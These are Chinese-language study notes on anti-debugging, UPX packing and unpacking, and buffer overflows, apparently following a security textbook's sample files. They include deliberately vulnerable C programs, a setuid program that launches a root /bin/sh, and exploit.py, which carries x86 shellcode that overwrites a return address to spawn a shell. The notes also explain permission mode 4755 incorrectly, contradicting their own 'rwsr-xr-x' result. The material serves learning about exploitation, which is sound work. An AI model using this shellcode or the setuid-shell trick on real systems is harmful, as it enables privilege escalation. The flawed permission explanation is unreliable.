如何防止软件被别人分析
反调试技术
最初级的一种反调试技术是IsDebuggerPresent
该函数可以检测是否挂载了调试器的API函数,通过返回值是否为0来判断调试器的挂载状态。
#include <Windows.h>
#include <stdio.h>
int main()
{
if(IsDebuggerPresent()){
//在调试器上运行
printf("Debugging\n");
}else{
//不在调试器上运行
printf("Not Debugging\n");
}
getchar();
return 0;
}
还有一些类似的API函数,比如checkRemoteDebuggerPresent
除了API函数,还有很多类型的技术用于检测调试器。
利用popf、SIGNLE_STEP异常、int 2dh来检测调试器。当返回值为0代表正常,为1表示挂载了调试器。
通过代码混淆来防止分析
上面的反调试器技术如果遇到了反汇编器,使用静态分析,就容易检测到调试器的逻辑,然后就可以轻易破解。
自行在csdn上搜索学习…
将可执行文件进行压缩
将可执行文件进行压缩,压缩得到的文件依然可以直接运行。这类压缩工具称为打包器packer
最有名的一款打包器叫UPX,开源,支持EFL,DLL,COFF等多种可执行文件格式
打包器的原理就是:将原本可执行文件中的代码和数据进行压缩,然后将解压缩用的代码附加在前面。运行的时候,先将原本的可执行数据解压缩出来,然后再运行解压缩后的数据。
找到binarybook-master\chap02\packed\Release\packed.exe
复制一份去upx.exe同目录下
upx.exe packed.exe
packed.exe会被打包后的文件覆盖,现在使用Ida打开packed.exe
程序的结构变得相当复杂,使用二进制编辑器也找不到目标字符串
将打包器压缩的可执行文件解压缩的工具称为解包器unpacker
一般来说,打包器和解包器是相互匹配的。
不过UPX没有专门的解包器,可以通过-d进行解包。
除了UPX,以防止逆向工程为目的的打包器,通常都没有官方解包器。
所以想解包只能靠自己手动完成,或者使用某些第三方制作的解包工具。
手动解包,就是用调试器和反汇编器,跟踪可执行文件解压缩的逻辑,并将位于内存中的解压缩后的可执行数据导出到文件的操作
解包一下
upx.exe -d packed.exe
查看解包后的packed.exe
尽管无法还原到一模一样,但至少我们现在可以使用IDA来分析
通过手动解包UPX来理解其工作原理
我们无法通过自动解包来理解打包器的原理,所以我们尝试一下手动解包用UPX压缩过的程序
要用到OllyDump这个插件
在binarybook-master\chap02\ollydump中也有
把这个OllyDump.dll放到ollydug.exe同目录
利用缓冲区溢出执行任意代码
在软件的安全漏洞中,缓冲区溢出(buffer overflow)是最有名的漏洞之一。
缓冲区溢出:输入的数据超出了程序规定的内存范围,数据溢出导致程序发生异常。
binarybook-master\chap03\FreeBSD_8.3_x86\sample1.c
#include <string.h>
int main(int argc, char *argv[])
{
char buff[64];
strcpy(buff, argv[1]);
return 0;
}
这个程序就有缓冲区溢出漏洞
程序为buff数组分配了一块64字节的内存空间,但传递给程序的参数arg[1]是由用户任意输入的,所以参数的长度很有可能超出为其分配的64字节
strcpy函数用于复制字符串,一直复制到字符串的边界,遇到"\0"为止。所以当用户故意向程序传递一个超出64字节的字符串时,就会在main函数中引发缓冲区溢出。
重点在于:当输入的数据超过64字节的时候,程序的行为就会变得不可预测,这就成为了一个漏洞。
让普通用户用管理员权限运行程序
Linux里有一个用来修改密码的命令"passwd
"
密码一般保存在/etc/master.passwd
、/etc/passwd
、/etc/shadow
等
没有root权限的用户是无法修改这些文件的。但是如果只有root才能修改密码的话,使用起来就非常不方便。所以我们需要一个机制,它能够让普通用户也能够临时的借用管理员权限,这个机制就是setuid
setuid
的功能是让用户使用程序的所有者权限来运行程序
打开kali
ls -l /etc/passwd
/ect/passwd文件不允许除root以外的用户进行写入,但passwd命令可以通过setuid机制临时以root权限来运行
权限部分的s表示该程序已启用setuid
binarybook-master\chap03\FreeBSD_8.3_x86\sample2.c
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char *argv[])
{
char *data[2];
char *exe = "/bin/sh";
data[0] = exe;
data[1] = NULL;
setuid(0);
execve(data[0], data, NULL);
return 0;
}
这个程序会调用execve函数
来运行/bin/sh
/bin/sh是Unix类系统的外壳程序,如果用root权限启动它,就相当于可以用root权限对系统进行任何操作
我们使用root权限编译该程序,然后设置setuid
$ sudo su
# gcc -Wall sample2.c -o sample2//使用 GCC 编译器将 sample2.c 的 C 语言源代码文件编译成一个可执行文件,并将其命名为 sample2
# chmod 4755 sample2
# ls -l sample2
su命令
是当前用户用来切换到另一个用户的命令,参数为用户名。执行时会要求输入密码,这个密码是你要切换到的用户的密码
。
sudo su命令和su命令相似,都是用来切换用户的。区别就是两个命令需要输入的密码不一样。
sudo su的含义就是要用root权限运行su命令,既然是用root权限运行su命令,那么就不需要输入切换到的用户的密码了。
注意,当你是root用户时,切换到本机的其他任何用户都是不需要输入密码的。
也就是说sudo su
这个命令,直接输入当前用户的密码
即可切换到root用户。并且如果你的sudo设置而不需要输入密码,就直接切换到root用户了。
- gcc: 是 GNU Compiler Collection 的缩写,是一个开源的编译器集合,用于编译多种编程语言,包括 C、C++ 等。
- -Wall: 是一个编译选项,用于启用 GCC 的所有警告信息。这有助于在编译过程中发现潜在的问题和错误。
- sample2.c: 是要编译的 C 语言源代码文件的文件名。这里假设 sample2.c 是你的源代码文件。
- -o sample2: 是一个编译选项,指定生成的可执行文件的名称。在这个例子中,可执行文件将被命名为 sample2。
因此,整个命令的目的是将 sample2.c 编译成一个名为 sample2的可执行文件,并在编译过程中启用所有警告。通过运行生成的可执行文件 sample2 来执行程序。
在UNIX/Linux系统中,文件和目录的权限可以用字符表示,常见的字符包括:
r(读取)
w(写入)
x(执行)
-(无权限)
对于权限模式4755
,其对应的字符表示如下:
用户权限(User):4 表示读权限,用字母 r 表示
组权限(Group):7 表示读(r) + 写(w) + 执行(x),用字母rwx 表示
其他用户权限(Others):5 表示读(r) + 执行(x),用字母 rx 表示。
因此,权限模式4755
的字符表示为 rwsr-xr-x
特别要注意的是,这里的 s 表示"setuid"权限,表明用户执行该文件时,会以文件所有者的权限来执行
可以看到simple2的权限变成了rws,这表示已经启用了setuid
当我们再次以普通用户权限运行这个程序时,就会用root权限来调用execve函数
也就是普通用户可以使用root权限启动/bin/sh
# su 普通用户名//先切换到普通用户
# whoami//查看是否成功切换为普通用户
# ./sample2//运行sample2启动/bin/sh
# whoami//查看用户身份,果然切换为了root
在 Linux 终端中,要从 root 用户切换到普通用户,可以使用 su 命令
(switch user)或 sudo 命令
(superuser do)
su 普通用户名
sudo -i -u 普通用户名
或者简写为
sudo -s -u 普通用户名
这将启动一个新的 shell 以普通用户身份运行,实现了从 root 用户到普通用户的切换。
请注意,使用 su 需要输入目标用户的密码,而使用 sudo 需要输入当前用户的密码。选择使用哪种方式取决于你的需求和系统的配置。
当然,一般情况下,谁也不会为这样的程序设置setuid。不过像simple1这样的程序,一旦以所有者权限运行,就会出现缓冲区溢出的漏洞,被攻击者读取权限。
权限是如何被夺取的
有漏洞的程序:binarybook-master\chap03\FreeBSD_8.3_x86\sample3.c
对其攻击夺取权限:binarybook-master\chap03\FreeBSD_8.3_x86\exploit.py
sample3.c
#include <stdio.h>
#include <string.h>
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
int cpy(char *str)
{
char buff[64];
printf("0x%08lx", get_sp() + 0x10);
getchar();
strcpy(buff, str);
return 0;
}
int main(int argc, char *argv[])
{
cpy(argv[1]);
return 0;
}
exploit.py
#!/usr/local/bin/python
import sys
from struct import *
if len(sys.argv) != 2:
addr = 0x41414141
else:
addr = int(sys.argv[1], 16)
s = ""
s += "\x31\xc0\x50\x89\xe0\x83\xe8\x10" # 8
s += "\x50\x89\xe3\x31\xc0\x50\x68\x2f" #16
s += "\x2f\x73\x68\x68\x2f\x62\x69\x6e" #24
s += "\x89\xe2\x31\xc0\x50\x53\x52\x50" #32
s += "\xb0\x3b\xcd\x80\x90\x90\x90\x90" #40
s += "\x90\x90\x90\x90\x90\x90\x90\x90" #48
s += "\x90\x90\x90\x90\x90\x90\x90\x90" #56
s += "\x90\x90\x90\x90\x90\x90\x90\x90" #64
s += "\x90\x90\x90\x90"+pack('<L',addr) #72
sys.stdout.write(s)
使用gcc编译sample4.c
$ gcc -S sample4.c
生成sample4.s文件,这就是sample4.s的汇编语言代码
.file "sample4.c"
.text
.globl func
.type func, @function
func:
.LFB0:
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
movl %edi, -20(%rbp)
movl %esi, -24(%rbp)
movl %edx, -28(%rbp)
nop
popq %rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size func, .-func
.globl main
.type main, @function
main:
.LFB1:
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
movl $3, %edx
movl $2, %esi
movl $1, %edi
call func
movl $0, %eax
popq %rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size main, .-main
.ident "GCC: (Debian 13.2.0-5) 13.2.0"
.section .note.GNU-stack,"",@progbits